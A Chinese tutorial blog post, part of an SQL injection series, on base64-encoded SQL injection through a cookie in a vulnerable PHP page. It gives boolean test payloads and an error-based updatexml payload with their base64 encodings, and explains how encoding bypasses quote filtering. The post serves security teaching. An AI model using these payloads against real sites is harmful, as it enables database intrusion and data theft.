SQL 注入漏洞(十三)base64注入

一、base64编码注入

base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。数据编码的好处是,防止数据丢失,也有不少网站使用
base64 进行数据传输,如搜索栏 或者 id 接收参数有可能使用 base64 处理传递的参数。在 php 中 base64_encode()函数对字符串
进行 base64 编码也可以进行解码。
编码解码流程:
1 ->base64 编码->MQ==->base64 解密->1
base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,在程序中重新被解码,再拼接成
SQL 攻击语句,再执行,从而形式 SQL 注入。

二、代码分析

从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来,如果有使用$_COOKIE['uname']获取 cookis 传过来的账号,再
拼接到 SQL 带入查询。
这段代码的意思$cookee = base64_decode($cookee);$cookee 传过来的参数进行解码,所以$cookee 传递过来的数据必须先进
行编码,否则解码不了会导致出错。

在这里插入图片描述

三、base64 编码进行注入

1、测试注入点

首先观察网站是否存在 base64 编码的数据,例如传递的id值,搜索模块。
如果存在类似==等,可以用 base64 解码进行测试。
admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==
admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==
本次测试的页面是 cookie ,所以需要 cookie 提交,而且有括号需要闭合。

原字符串                     base64 编码
admin') and 1=1--      YWRtaW4nKSBhbmQgMT0xLS0gIA==
admin') and 1=2--      YWRtaW4nKSBhbmQgMT0yLS0gIA==

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第一次提交页面返回存在 admin,第二次提交没有 admin,两个页面返回的结果不相同,所以存在 SQL 注入。

2、查询敏感信息

本代码存在 mysqli_error 函数,所以可以里利用报错注入再进一步获取敏感信息。
admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- 
进行 base64 编码
YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA=
提交获取敏感信息。

在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值